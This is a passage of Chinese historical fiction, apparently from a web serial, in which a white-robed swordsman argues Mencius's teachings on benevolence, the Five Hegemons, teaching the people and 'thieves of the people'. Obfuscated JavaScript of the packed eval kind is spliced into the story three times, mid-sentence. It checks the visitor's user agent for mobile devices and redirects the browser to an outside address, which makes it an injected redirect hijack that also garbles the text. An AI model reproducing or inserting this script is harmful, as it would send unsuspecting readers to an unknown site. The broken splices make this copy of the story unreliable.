文成，传诵稷下。有策士讥：“淳于子为孟子张目，堕辩士气节。” 淳于髡坦然应：“辩在求真，非在求胜。我昔求胜，今求真。孟子之仁，是真仁；我之辩，是伪辩。拾真弃伪，是辩士之进，何言堕节？” 自此，淳于髡论学，必先问：“此是仁否？仁有几途？” 有门人问：“若遇暴君，当如伯夷清？伊尹任？柳下惠和？” 淳于髡答：“清者自洁，任者力匡，和者不污。然皆需存仁心。若无仁心，清是孤高，任是贪权，和是乡愿。孟子曰‘君子亦仁而已矣，何必同’，正是此意。” 门人又问：“然则功业不必论？” “功业如树，仁心如根。根深则叶茂，然有早花，有晚实，有经冬不凋，有一岁一枯。岂可因未见花实，便谓无根？” 闻者叹服。淳于髡晚年，于稷下学宫立“仁途碑”，刻伯夷、伊尹、柳下惠、孟子四子事。碑阴自跋： “髡少时，以名实绳天下，见叶不见根。 及遇孟子，方知仁者多途，清任和皆可达道。 名实者，叶也；仁心者，根也。 但得根深，何忧叶茂？ 后之观人者，< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088203|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>勿以形迹断心迹， 勿以事功量仁功。 君子微罪而行， 众人岂能尽识？” 碑成，有游士观之，哂：“此仍为孟子讳过。” 适有童子牧牛过，指碑问：“此四人是好人是坏人？” 游士嗤：“自然是好人。” 童曰：“既是好人，为何你疑？” 游士赧然。是夜，白衣人影现碑前，抚文叹： “淳于髡，今知仁。 四子途异心同春。 世人但羡功业显， 谁解微罪是保身？ 伯夷清，伊尹任， 柳下和，孟子纯。 仁途万千归一旨， 不在名实在本真。” 叹罢，掷剑刻于碑侧： “清者自洁，任者力匡， 和者不污，仁者守常。 四途皆可至， 何必问行藏？” 刻毕，踏露而去。稷下槐花，纷纷如雪。 尾声仁心鉴 后数十年，稷下学宫废，碑独存。有寒士避雨碑下，读文有感，作《仁途赋》。中有句： “伯夷之清，山泉冽； 伊尹之任，砥柱铁； 柳下之和，春风悦； 孟子之纯，皓月洁。 四子不同道， 仁心同澄澈。 世人观迹我观心， 方知圣贤非一辙。” 赋传于世，有高士评：“此得淳于髡晚年之悟。” 又百年，战火频仍，碑裂为三。有老儒拾残石，合而观之，见“君子之所为，众人固不识”十字完好，泣曰：“道在是矣！”遂聚童子授学，每讲四子，必曰：“勿学其迹，但师其心。” 一夕，有白衣人影过学塾，闻童子诵《孟子》，声琅琅： “居下位，不以贤事不肖者，伯夷也…” “五就汤，五就桀者，伊尹也…” “不恶污君，不辞小官者，柳下惠也…” 白衣人莞尔，倚窗和之： “三子者不同道，其趋一也。” “一者何也？” “仁也。君子亦仁而已矣，何必同？” 诵罢，月已西斜。老儒推窗，唯见满地槐花，清香袭人。 似在说： 仁啊，仁啊。 清是仁，任是仁，和是仁。 本章诫世 一、 仁者多途 - 伯夷清，伊尹任，柳下惠和，皆仁也。君子亦仁而已矣，何必同 - 破解法：勿以己之仁，度人之仁；勿以己之道，责人之道 - 示例：淳于髡初以“名实”单绳孟子，是不知仁途万千 二、 微罪行 - 孔子以燔肉不至而行，不欲显君恶。君子微罪去，小人彰君过 - 惕世：多少人去职则大肆攻讦，以显己直？几人能如孔子、孟子，为君隐过？ - 反思：所行所言，是为仁，还是为名？ 三、 名实之辨 - 名实如叶，仁心如根。但得根深，何忧叶茂 - 深层隐喻：事功易见，仁心难察。观人当观心，勿观迹 - 终极指向：仁为根本，途可万千；但守仁心，何问名实 仁途偈： 淳于髡问名实功，孟子譬喻三子同。 伯夷清高伊尹任，柳下惠和皆仁衷。 去就何须问迹异，行藏但看心所宗。 至今残碑风雨夜，犹说仁途万千通。 后世叹： 战国稷下辩士哗，淳于髡问名实加。 孟子举出三子道，仁心一贯路途赊。 清任和异皆可达，燔肉微罪是保瑕。 寄语世间论人者，莫将尺牍量海涯。 正是： 伯夷伊尹柳下惠，三子不同道则同。 孟子兼之仁为本，去就岂在名实中？ 微罪而行是忠厚，燔肉不至见深衷。 寄语论人观世者，莫将一途测无穷。 52. 五禁谳 楔子会盟台 周室既微，诸侯力征。晋楚争霸，会于孟津。楚使屈完骄矜，指会盟台曰：“此台昔葵丘之会，齐桓公束牲载书，称霸天下。今我楚亦当如是！” 晋使赵盾冷笑：“桓公盟曰‘无曲防，无遏籴’，今楚塞三江，绝陈蔡粮道，岂非犯五禁？” 屈完语塞。忽有白衣人拊掌登台，斗笠面纱，木剑负背，朗声笑：“二公但知葵丘，可知葵丘之盟，今皆为虚文？” 众愕然。白衣人指台下诸侯：“今之诸侯，皆五霸罪人也；今之大夫，又诸侯罪人也。此台不配会盟，当名‘罪台’！” 楚将怒抽剑，白衣人木剑一横，金石交鸣，楚将虎口迸裂。满场皆惊。 一、 巡狩谳 是夜，白衣人宿于野店。店主老叟叹：“客官日间言‘罪台’，老朽闻之，如雷贯耳。然则五霸真三王罪人乎？” 白衣人问：“叟可知三王巡狩述职之制？” “略闻。天子适诸侯曰巡狩，春省耕补不足，秋省敛助不给。” “然也。”白衣人斟酒，“三王时，诸侯治境佳，则庆以地；治境劣，则让以责。一不朝贬爵，再不朝削地，三不朝六师移之。是故天子讨而不伐——讨者，正其罪也；诸侯伐而不讨——伐者，征不朝也。此三代纲纪。” 老叟恍然：“今之天子不能巡狩，诸侯不朝述职，纲纪废矣。” “五霸出，更坏纲纪。”白衣人掷杯，“五霸者，搂诸侯以伐诸侯——挟天子令诸侯，假仁义行征伐。桓公葵丘之会，束牲载书不歃血，似尊王，实僭越。故孟子曰：五霸者，三王之罪人也。” 邻桌有游侠拍案：“然桓公九合诸侯，一匡天下，岂无功？” 白衣人反问：“盗魁聚盗，约‘勿杀老弱’，是功是罪？” 游侠语塞。白衣人续道：“桓公约五禁：诛不孝、尊贤才、敬老幼、士无世官、无曲防遏籴。此本三代常法，桓公以盟主身份重提，是代行天子权，已为罪一；今之诸侯，连此五禁皆犯，是罪上加罪，故曰诸侯乃五霸罪人。” 忽有数骑闯店，乃日间楚将，引甲士围店：“狂徒谤政，拿下！” 二、 五禁谳 白衣人泰然自饮：“将军可知葵丘五禁？” 楚将喝：“与我何干！” “第一禁：诛不孝。”白衣人抬眼，“楚王囚母于章华台，是不孝。将军从之，是助不孝。” 楚将色变。白衣人续道：“第二禁：尊贤育才。楚杀伍奢，逐伍员，是戮贤。第三禁：敬老慈幼。楚伐随，坑杀耄老，是虐老。第四禁：士无世官。楚令尹、司马皆王室子弟，是世官。第五禁：无曲防，无遏籴。楚塞汉水，绝郑粮，是曲防遏籴。” 句句如刀，楚将汗下。甲士中有人低语：“句句属实…” 白衣人起身：“今之诸侯，皆犯五禁，是五霸罪人。将军为虎作伥，是罪人之罪人。尚欲拿我？” 楚将拔剑，手颤不能举。白衣人掷一简于地：“此乃五禁全文，归示楚王。若有一禁不犯，我自缚请罪。” 言罢，掷金于案，飘然而出。甲士竟无人敢拦。 三日后，楚营哗变。有士卒持那简传阅，见“无曲防，无遏籴”句，泣曰：“我家乡在陈，因楚遏籴，父母皆饿死…”一夜散去数百人。 白衣人闻之，叹：“五禁不存，人心自散。此非我言重，是桓公盟誓时，已种今日之因。” 时晋使赵盾暗访，邀白衣人帐中叙。赵盾问：“先生言诸侯皆五霸罪人，然我晋国，可有一禁不犯？” 白衣人直视：“晋灵公弹人取乐，是不慈幼，犯第三禁；晋世卿专权，六卿世袭，犯第四禁；晋绝秦籴，犯第五禁。三禁已犯，何言无犯？” 赵盾汗颜：“然…然则大夫如何？” “长君之恶罪小，逢君之恶罪大。”白衣人冷笑，“今之大夫，逢君之恶——君欲战，则献策；君欲敛，则搜刮。是助纣为虐，故曰大夫乃诸侯罪人。赵公执政，可曾谏灵公止恶？抑或逢其恶以固位？” 赵盾跌坐，面如死灰。 三、 罪人链 白衣人出晋营，遇流民载道。有老者饿毙于途，幼子哀泣。白衣人解囊施粥，问：“何故流亡？” 一壮汉泣：“本国大夫逢君之恶，加征军赋，又遏籴邻国，粮价腾贵，只得逃亡。” “此正犯五禁中‘无遏籴’。”白衣人叹，“五霸时尚且盟誓禁止，今之诸侯公然犯之，是罪加一等。” 遂于道旁开讲，说“罪人链”： “三王立纲，天子巡狩，诸侯述职，是上下相维。 五霸坏纲，搂诸侯伐诸侯，是下僭上。 今诸侯犯五禁，是僭上欺下。 今大夫逢君恶，是欺下虐民。 此谓：三王之罪在五霸，五霸之罪在诸侯，诸侯之罪在大夫。层层相罪，至于庶民，无可罪者，唯受其殃。” 流民中有识字者，记其言，作《罪人链谣》传唱： “三王纲纪五霸摧， 五霸盟誓诸侯违。 诸侯暴虐大夫助， 大夫逢恶民何归？ 层层相罪链不断， 最是无辜是布衣！” 此谣传至郢都，楚王怒，命捕“白衣妖人”。捕快至野店，店主老叟指北方：“客官往晋去了。” 捕快追至晋边，见白衣人正为流民分粮。捕头喝：“妖言惑众，拿下！” 白衣人不慌，问：“我言可有一句不实？” 捕头噎住。白衣人指流民：“此皆楚民，因楚遏籴，逃亡至此。可是实？” “是实，然…” “楚遏籴，犯葵丘第五禁。可是实？” “是实，然…” “楚为诸侯，犯五禁，是五霸罪人。可是实？” 捕头汗出。白衣人再问：“尔等捕我，是奉君命。若君命不仁，尔等是从？是长君之恶，罪小；逢君之恶，罪大。尔等欲为罪人耶？” 众捕快面面相觑，竟弃刀跪地：“吾等本农户，因饥荒为吏…实不愿为罪人！” 白衣人扶起：“但记：三代之制，春省耕补不足，秋省敛助不给。尔等为吏，当劝君行此，莫逢恶虐民。” 众泣拜而去。是夜，郢都十余名小吏挂冠，留书曰：“不为罪人吏。” 四、 罪台诤 楚晋会盟终散，唯留空台。白衣人独登台，仰观星月。忽有数人潜至，乃日间流民中识字者，名韩仇，率众拜曰：“先生之言，醒我愚蒙。然罪链如此，民何以堪？” 白衣人问：“尔等欲反乎？” “不敢，但求生路。” “生路在复三代遗意。”白衣人指台下，“三王时，天子巡狩，省耕补不足。今虽无天子，尔等可自治——春耕相帮，秋收相济。诸侯遏籴，则乡里互籴；大夫横征，则守望相助。但得民间自存三王遗风，罪链可断于下。” 韩仇恍然：“是矣！上虽罪，下可仁。我等待死，不如自救。” 遂聚流民，立“相济约”：春耕助孤寡，秋敛分余粮，禁遏籴，禁曲防，禁虐老，禁戮贤。俨然一小葵丘之盟。 三月后，韩仇来报：“我乡已安，邻乡效之，今十乡皆行相济约。” 白衣人笑：“此即‘讨而不伐’。尔等自治，是讨己之罪；不行征伐，是守己之仁。虽不及三代，可续遗风。” 忽有车马至，乃晋使赵盾，楚使屈完同来。二人揖：“先生之言，我等归告国君，皆有悔意。今楚开遏籴，晋释世官，愿重修葵丘之约。” 白衣人摇头：“葵丘之约，本僭越之盟。当复者，非葵丘，乃三代巡狩述职之制。然今天子微弱，不可强求。但守五禁，民可少安。” 赵盾问：“然则大夫逢君之恶，何以戒之？” “在士风。”白衣人正色，“士为大夫之源。若士人皆以逢恶为耻，大夫自清。今为士者，当学三代‘俊杰在位’之德，莫 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又十年，诸侯混战，醒台毁于兵火。然乡民夜聚台基，老幼相携，分粮济困。有逃难者过，问：“此是何制？” 答：“三代遗风，春省耕补不足，秋省敛助不给。” “何人所教？” “昔有白衣客，言此非他所教，乃三代旧制，本该如此。” 是夜，月明如洗，白衣人影时现台基，听乡民歌： “春耕助孤寡，秋收分余粮。 无曲防，无遏籴，无忘宾旅客。 虽无天子巡狩礼， 自有乡邻相济肠。 醒台虽毁风骨在， 三代遗意民间藏。” 歌罢，人影抚碑残石，轻叹： “五霸罪，诸侯罪，大夫罪，罪罪相因。 天不巡，地不朝，纲不存，唯民苦。 幸有醒者， 断此罪链于泥涂。” 叹声散入夜风，台畔野菊，岁岁金黄。 似在说： 罪啊，罪啊。 醒者无罪。 本章诫世 一、 罪人相因 - 五霸者，三王之罪人；今之诸侯，五霸之罪人；今之大夫，诸侯之罪人 - 破解法：居上位当思是否僭越，居下位当思是否逢恶 - 示例：桓公僭天子权，是罪；诸侯犯五禁，罪上加罪；大夫逢君恶，罪之又罪 二、 五禁之鉴 - 葵丘五禁，本三代常法，今皆犯之 - 惕世：今之“诛不孝、尊贤、敬老、选贤、通商”诸事，是真心行仁，还是口号标榜？ - 反思：可曾“曲防”“遏籴”“逢恶”而不自知？ 三、 民间自救 - 上无道，下可自存遗风。春耕相帮，秋收相济，即三代遗意 - 深层隐喻：真正的纲纪在民心，不在盟誓 - 终极指向：罪链可断于民间醒者 罪链偈： 三王纲纪五霸摧，葵丘空盟已堪悲。 诸侯犯禁如破竹，大夫逢恶更添危。 层层相罪成链锁，唯有醒者能解围。 至今醒台残月下，犹闻流民说昔非。 后世叹： 周室衰微纲纪颓，五霸僭越诸侯随。 葵丘盟誓成虚文，今日犯禁更有谁？ 大夫逢恶长君过，层层相罪民何归？ 唯有民间存古意，春省秋敛续余辉。 正是： 五霸原是三王罪，诸侯犯禁罪更深。 大夫逢恶助君虐，层层相罪至于今。 葵丘盟誓成虚设，三代遗风何处寻？ 但得民间醒者在，不须台上会盟心。 53. 教兵谳 楔子南阳策 鲁国边城，烽火方息。将军慎子（滑釐）大破齐师，夺南阳之地，凯歌高奏。鲁君大悦，欲使慎子为上将，整军伐齐，尽收失地。 是日庆功宴，慎子金甲未解，傲然谓众将：“南阳已复，当乘胜进击，夺齐西境！” 忽有一人排众而出，白衣斗笠，面纱遮颜，木剑负背，拊掌而笑：“将军一战得南阳，便要教民赴死，此所谓‘殃民’也。” 满堂哗然。慎子按剑而起：“足下何人？敢乱我军心！” “过路客，闻殃民之策，特来一观。”白衣人环视众将，“不教民而用之，谓之殃民。殃民者，不容于尧舜之世。将军可闻此言？” 慎子冷笑：“此孟子迂论！今战国之世，强者存，弱者亡。不战何以强国？” “强国有道，岂在杀人？”白衣人直视慎子，“一战胜齐，遂有南阳，然且不可——此孟子告将军之言，将军犹未悟乎？” 慎子勃然色变——月前孟子确曾以此言相谏，彼时慎子斥为“不识时务”。今被白衣人当众道破，恼羞成怒：“此则滑釐所不识也！足下欲效孟子，以空言阻我大业？” 白衣人却转身问众士卒：“尔等家中尚有父母妻儿否？” 士卒皆怔，有人低应：“有…” “南阳之地，可代尔等父母否？” “不可…” “可代尔等妻儿否？” “不可…” 白衣人回视慎子：“将军欲驱不可代父母妻儿之民，以争可代之城地，是爱地，是爱人？” 慎子语塞。满堂寂然，唯闻火把噼啪。 一、 百里谳 翌日，校场点兵。慎子欲示威，集三军，召白衣人至将台，高声道：“昨日狂徒言我殃民，今当众论之！若理屈，军法从事！” 白衣人泰然登台，问三军：“众将士，可知鲁国始封之地几何？” 有老卒答：“闻说方百里。” “是矣。”白衣人扬声道，“周公封鲁，方百里；太公封齐，亦方百里。非地不足，而俭于百里。何以俭？圣人制礼，天子千里，诸侯百里，所以明分止争也。今鲁地已有五个百里，齐地更广。若王者作，当削鲁乎？当益鲁乎？” 众皆茫然。白衣人续道：“必削之！何也？逾制当削。今鲁夺南阳，是徒取诸彼以与此。仁者尚且不为，况杀人以求之？” 慎子怒喝：“此战国之世，岂拘古制！” “将军差矣。”白衣人声震校场，“古制非为拘泥，是为止杀。昔日百里之封，足以守宗庙典籍，养民礼贤。今扩地千里，而民疲兵困，宗庙典籍可守否？贤才可育否？老者可养否？” 一裨将低声：“确是…我军连年征战，乡里田园荒芜…” 白衣人耳敏，立问：“此将军言田园荒芜，可知何故？因壮者皆征，老者失养，幼者失教。此之谓不教民而用之——不教以耕，不教以礼，不教以义，但教以杀。纵得南阳，不过多几处荒田，多几座孤坟！” 三军骚动。慎子拔剑：“妖言惑众，斩！” 白衣人木剑一横，架住剑锋：“将军杀我易，止三军之疑难。我且问：鲁今有地五个百里，是鲁君之福，还是鲁民之福？” 不待答，自解：“若是民福，当仓廪实，教化兴。今仓廪实否？军粮尚借于卫。教化兴否？乡校十室九空。此乃夺民福以奉君欲，将军为虎作伥，尚不自知？” 慎子剑颤，竟不能进。白衣人收剑，对三军拱手：“诸君皆鲁民子弟。今为将者欲驱尔等复战，非为鲁民，是为功名。昔孟子言‘君子事君，务引君以当道，志于仁而已’。今慎子逢君之恶，是殃民之臣，非仁者之徒！” 语罢，飘然下台。三军目送，无人敢拦。 是夜，营中逃卒三百。慎子怒，令捕白衣人，遍寻不得。 二、 教民谳 白衣人现身南阳城外难民棚。此地新附，齐民未安，鲁民亦苦。有老妪煮粥施众，白衣人助之，问：“阿婆，南阳归鲁，可喜否？” 妪泣：“喜？我儿战死于此，得地失子，何喜之有？” 旁有弃儿啼哭，父母皆殁于战火。白衣人抱儿，叹：“此即不教民而用之。民未教以生，先教以死。” 忽有数骑至，乃南阳乡老，闻白衣人日间校场语，特来请教。为首者问：“先生言‘不教民而用之谓殃民’，然则当如何教民？” 白衣人指难民棚：“教民以生，非教民以死。今南阳初定，当教民垦荒，教民织耕，教民礼让。若驱之复战，是已伤之，复伤之，殃之又殃。” 乡老叹：“然慎子将军欲再战…” “是故需有仁者，引君当道。”白衣人道，“昔周公治鲁，制礼作乐，教民以德，故鲁虽百里，而为礼仪之邦。今鲁地五百里，而礼崩乐坏，何也？不教也。” 遂与乡老计议，于南阳设“教民所”：老者教耕织，壮者习武备，幼者学诗书。白衣人题匾：“不教民，毋用民。” 旬日间，流民稍安。忽有快马传令：慎子将军至，查“妖人惑众”。 慎子率兵围教民所，见白衣人正教童子诵《诗》，怒极反笑：“足下在此收买人心耶？” “非收买，是偿还。”白衣人安坐，“将军驱民战，民伤。我教民生，民安。将军以为孰是？” 慎子环视，见棚中老弱皆怒目而视，士卒亦有愧色，心知不可强为，乃道：“鲁欲强盛，不得不战！” “强盛有道。”白衣人起身，“昔文王百里而王，是教民以德。今鲁五百里而弱，是不教民以德。将军若真忠鲁，当劝君罢兵，修德教民。民教而后用，以一当十。不教而用，虽十万亦溃。” 有士卒忍不住泣：“将军！我弟年十六，未教而征，初战即殁…若教之三月，或可不死…” 一石激起千层浪，三军皆泣。慎子面色铁青，忽有鲁君使者至，宣：“君上有令：慎子将军即日班师，南阳择良吏治之，休兵养民。” 众愕然。使者低语：“有客夜谒君上，呈《教民策》，君上悟矣。” 慎子瞪视白衣人：“又是汝！” “非我，是民心。”白衣人遥指鲁都，“君上闻三军欲溃，方知殃民不可为。将军若明智，当学君子事君之道——务引君以当道，志于仁而已。” 慎子默然良久，忽掷剑于地：“滑釐…错矣！” 三、 当道谳 鲁君罢兵，慎子自请贬为南阳守，行教民之政。白衣人将行，慎子问：“先生，滑釐当如何引君当道？” “君如舟，臣如舵。”白衣人道，“昔周公、太公封百里，是制礼以防滥。今鲁地五百里，君欲千里，是舟欲入狂涛。为臣者当转舵归港，非鼓帆助澜。将军前日鼓帆，是殃民；今日转舵，是教民。仁与不仁，于此分矣。” 慎子再拜：“愿闻仁政之要。” “仁政在教，不在战。”白衣人详述，“一教耕织，使民饱暖；二教礼义，使民知耻；三教忠孝，使民和睦。民教三年，仓廪实而知礼节，然后可御外侮。今将军不教而战，是驱羊入虎，虽得地，失民心，终非长久。” 忽有齐使至，言齐侯闻鲁教民，愿释战俘，通商互市。慎子喜：“此先生之化耶？” “此民心之化。”白衣人道，“齐见鲁教民，知鲁将强，故先和。若鲁殃民，齐必趁虚。是故教民非但安内，亦可攘外。” 南阳遂行教民之政：老兵教新兵，老农教流民，士人教童子。三年，仓廪实，街巷闻诵诗声。 慎子感佩，于南阳立“教民碑”，刻孟子“不教民而用之，谓之殃民”全章。又附自罪文： “滑釐昔为将，不教民而战，殃民深矣。 幸遇高士，闻孟子之教，乃知仁者当引君以当道。 今守南阳，教民耕战，民安而境固。 乃知教民之利，胜征战十倍。 后世为将者，当以为鉴。” 碑成，白衣人观之，题诗于侧： “百里封疆古制淳， 何需喋血扩疆垠？ 不教而用真殃民， 能教能安自富民。 君子事君当引道， 将军守土贵存仁。 南阳今日闻弦诵， 可慰沙场战死魂。” 题罢，白衣人去。慎子追送，问：“先生，若他日君上复欲征伐，滑釐当如何？” “昔孟子告子：徒取诸彼以与此， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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刻毕，踏月归去。南阳城外，麦浪千顷，书声与蛙声相和。 似在说： 教啊，用啊。 仁在教，义在用。 本章诫世 一、 教民为先 - 不教民而用之，谓之殃民。殃民者，不容于尧舜之世 - 破解法：欲用人，先教人；欲用民，先教民 - 示例：慎子初欲不教而战，是殃民；后教民耕战，是仁政 二、 百里之制 - 天子千里，诸侯百里，所以明分止争。今逾制拓土，杀人求地，仁者不为 - 惕世：多少“大业”是驱不教之民，以遂一人之欲？多少“功勋”是白骨铺就？ - 反思：所为之事，是教民，是用民，还是殃民？ 三、 引君当道 - 君子之事君也，务引其君以当道，志于仁而已 - 深层隐喻：为臣者当为舵手，引舟避狂涛，非鼓帆助澜 - 终极指向：仁为根本，教为途径，用为节制 教民偈： 慎子为将欲战攻，孟子直言殃民凶。 不教而用是虐政，能教能用方为公。 百里旧制何须越，君子引君当道中。 南阳碑下弦诵起，方知仁政胜兵戎。 后世叹： 鲁欲使慎为将才，孟子论政醒愚衷。 不教民而用是殃，能教民用乃为功。 百里封疆古制在，杀人拓地岂仁风？ 但得君臣皆志道，何须喋血逞英雄。 正是： 慎子为将欲启兵，孟子直言殃民情。 不教而用是苛政，能教能用乃仁声。 百里封疆古制在，杀人拓地岂可行？ 君子事君当引道，至今南阳诵教诚。 54. 民贼谳 楔子富桀会 魏都大梁，有“富国论战”，诸国策士云集。台上公孙鞅高谈：“吾能使秦富，十年而强！”台下苏秦应和：“吾能约六国，制衡天下！” 掌声雷动。忽闻一角有冷笑声：“今之所谓良臣，古之所谓民贼也。” 众哗然，见一白衣人倚柱而立，斗笠面纱，木剑负背，手中把玩着一枚铜钱。 公孙鞅怒视：“足下何人，敢辱群贤？” 白衣人踱至台前，示铜钱于众：“此物，可富民否？” “自然！”公孙鞅傲然，“商贾流通，府库充盈，皆赖此物。” “然则桀有鹿台之财，纣有钜桥之粟，富否？” “富…” “亡否？” 公孙鞅语塞。白衣人扬声道：“今之事君者皆曰：‘我能为君辟土地，充府库。’此非良臣，是民贼也！君不向道，不志于仁，而求富之，是富桀也！” 苏秦拍案：“荒谬！富国强兵，乃臣子本分！” “本分？”白衣人直视苏秦，“‘我能为君约与国，战必克’——此亦民贼也！君不向道，不志于仁，而求为之强战，是辅桀也。诸公所为，是助君为桀纣，非导君为尧舜。” 满场死寂。有韩使颤声：“然…然则何以事君？” “事君当引君向道，志于仁。”白衣人掷铜钱于地，铿然有声，“由今之道，无变今之俗，虽与之天下，不能一朝居也！” 言罢，拂袖而去。众策士面面相觑，公孙鞅面色铁青。 一、 富桀谳 是夜，魏相惠施私邸，公孙鞅、苏秦与诸国策士密议。公孙鞅咬牙：“那白衣狂徒，坏我论战，当除之！” 苏秦捻须：“其言虽狂，然‘富桀’之论，恐动君心…” 忽闻庭中有人朗笑：“诸公在此，是议富桀，还是议除我？” 白衣人竟坐于庭树，月下身影飘渺。 惠施惊起：“壮士…何不入座一叙？” 白衣人飘然下树，径自取酒：“相国可知，今魏国府库，较十年前盈虚若何？” 惠施傲然：“增三倍有余。” “民田增否？” “这…” “民舍增否？” “…” “民有菜色，相国见否？” 惠施汗出。白衣人续道：“相国富国，是富民耶？富君耶？若富君而贫民，是聚民脂以奉君欲，与桀敛财何异？此所谓富桀也！” 公孙鞅驳道：“非常之时，行非常之法。秦用我策，国富兵强…” “然后？”白衣人截道，“秦民劓鼻盈城，刖足塞路，渭水尽赤。此富耶？强耶？是积怨也！君不向道，不志于仁，而求富之强之，譬如肥病夫，肉愈丰，毒愈深。一旦溃烂，不可收拾。” 苏秦冷笑：“足下但知空谈仁义，岂知战国之势，不富不强，必为所灭！” “是矣。”白衣人忽转平静，“诸公皆言‘不得不为’。然孟子有喻：有人饮鸩止渴，初时解渴，终必死。今诸公献富国强兵之策，是解君之渴，实喂君之鸩。君死，国亡，民殃。诸公是忠臣耶？民贼耶？” 满座寂然。白衣人自斟自饮，叹道：“诸公皆一时俊杰，惜乎不务引君向道，但务逢君之恶。他日史笔如铁，书‘某助桀为虐’，可甘心否？” 惠施颓然坐倒：“然则…魏当如何？” “罢聚敛，省征伐，劝君向仁。”白衣人正色，“君若向道，府库虽虚，民心得矣；君若向仁，兵甲虽钝，天下归矣。今诸公但教君如何取天下，不教君如何得民心。纵取天下，能守几时？” 语罢，掷杯于案，杯立不倾：“此杯不倾，因中有酒；君位不倾，因中有民。诸公但注酒于杯，不问杯中为何物，可乎？” 飘然出庭。公孙鞅、苏秦相视，皆露惭色。 二、 辅桀谳 三日后，秦使邀白衣人至驿馆。馆中坐一黑袍客，面覆青铜面具，乃秦密使卫鞅（公孙鞅化名）。 卫鞅屏退左右，揖道：“先生前日‘富桀’之论，鞅三夜不寐。敢问：秦欲强，不行变法，当如何？” 白衣人反问：“君欲变何法？” “废井田，开阡陌；奖军功，抑贵族；行连坐，明法令…” “此皆求富求强之术。”白衣人摇头，“然秦君志在仁否？向道否？若不向仁，但求富强，是养虎为患。他日虎大伤人，首伤其主。” 卫鞅沉吟：“然则当先劝君向仁？” “然也。”白衣人正色，“昔伊尹五就汤，非为汤富，为汤仁。今君事秦，当先引君向道。道既明，仁既立，富强自来。若弃道而求富，是本末倒置，终为桀助。” 卫鞅忽摘面具，露真容，竟是公孙鞅：“先生，鞅在秦，如骑虎背。不行变法，秦弱；行变法，秦强而民怨。如之奈何？” “骑虎者，当导虎向善，非助虎为恶。”白衣人叹，“君今为虎添翼，教虎噬人。他日虎噬君，君将谁怨？” 公孙鞅泪下：“鞅…鞅亦知变法酷烈，然…” “然不得不为？”白衣人直视其目，“昔桀亦言‘不得不为’。纣亦言‘不得不为’。今君言‘不得不为’，是与桀纣同道。君自择：愿为伊尹，为周公，为管仲？抑或为桀纣之助？” 公孙鞅伏案痛哭。白衣人温言：“君能悔，未晚。秦法可缓，仁政可施。但得君心向仁，民怨可解。” 是夜，公孙鞅焚变法草稿十三卷，作《谏秦王仁政书》。然书未发，秦王急诏，命加速变法。公孙鞅仰天长叹：“吾真成民贼矣！” 白衣人闻之，暗叹：“富桀易悟，辅桀难醒。战国之士，多在梦中。” 三、 乡道谳 时齐都临淄，有“稷下争鸣”。淳于髡、邹衍、田骈等百家论战。白衣人现身学宫，闻诸子多言“强兵”“富国”，忽登台问：“诸公，可使君向道否？” 众怔。淳于髡答：“道在富强。国不富，兵不强，道不行。” “谬矣。”白衣人朗声，“昔桀富有四海，不向道，亡；纣强甲天下，不向仁，灭。今诸公但教君富强，不教君向道，是导君为桀纣。此非事君，是贼君！” 邹衍驳：“五德终始，天命在变。当今战伐之世，非以仁可得。” “是以杀伐代仁义？”白衣人冷笑，“此正孟子所斥‘由今之道，无变今之俗，虽与之天下，不能一朝居也’。诸公自谓知天命，实则顺人欲。顺君之欲而曰天命，是欺天也！” 田骈怒：“足下但知孟子，岂知百家？” “吾知仁。”白衣人声震屋瓦，“桀纣之时，亦有臣曰‘我能富国’‘我能强兵’，彼等亦自谓良臣。今诸公所行，与彼何异？千载之下，皆书‘民贼’！” 有学子问：“然则为臣者，当如何？” “事君以道，志于仁。”白衣人环视，“君欲富，则劝‘富在民’；君欲强，则劝‘强在德’；君欲战，则劝‘战在义’。若君不纳，当去，不当逢恶。今诸公逢君之恶，自谓良臣，实乃民贼。可愧否？” 满堂学宫，寂然无声。忽有老儒泣拜：“老夫授徒三十年，今日方知误人！” 白衣人扶起：“能悟便好。但望稷下学风，从此重道轻术，重仁轻利。” 遂于学宫壁题： “今之事君者， 皆曰我能富国强兵。 此古之民贼也。 君不乡道，不志于仁， 而求富之强之， 是富桀辅桀也。 由今之道，无变今之俗， 虽与之天下，不能一朝居。 诸生勉之！” 题罢，飘然而去。稷下学风，为之稍转。有策士改辙，有学子重德，然积重难返者仍多。 四、 一朝谳 白衣人离齐入楚，见楚王新筑章华台，高耸入云。有令尹昭奚恤正颂功：“臣为君筑此台，可彰国威，聚财富…” 白衣人忽现台下，仰天大笑：“好个民贼，又富一桀！” 昭奚恤怒，命擒之。白衣人指台上役夫：“彼等皆民，为君筑台，冻饿死者几何？” 役夫中有人泣：“已死三十七人…” “此台之下，皆民骨也。”白衣人厉声，“今之所谓良臣，古之所谓民贼。君不向道，不志于仁，而求富之，是富桀也！令尹自谓良臣，实乃民贼之首！” 昭奚恤羞愤，抽剑刺来。白衣人木剑一引，昭奚恤剑脱手，人跌台下。白衣人踏其胸，问：“君可知，由今之道，无变今之俗，虽与之天下，不能一朝居？” “何…何意？” “桀有天下，不能一朝居；纣有天下，不能一朝居。今楚王不仁，纵得天下，能守几日？尔为令尹，不引君向道，但逢君之恶，是速楚之亡也！” 昭奚恤大骇。忽有楚王使者至，宣：“王闻高士至，请入宫。” 白衣人入宫，楚王问：“寡人欲霸天下，当如何？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 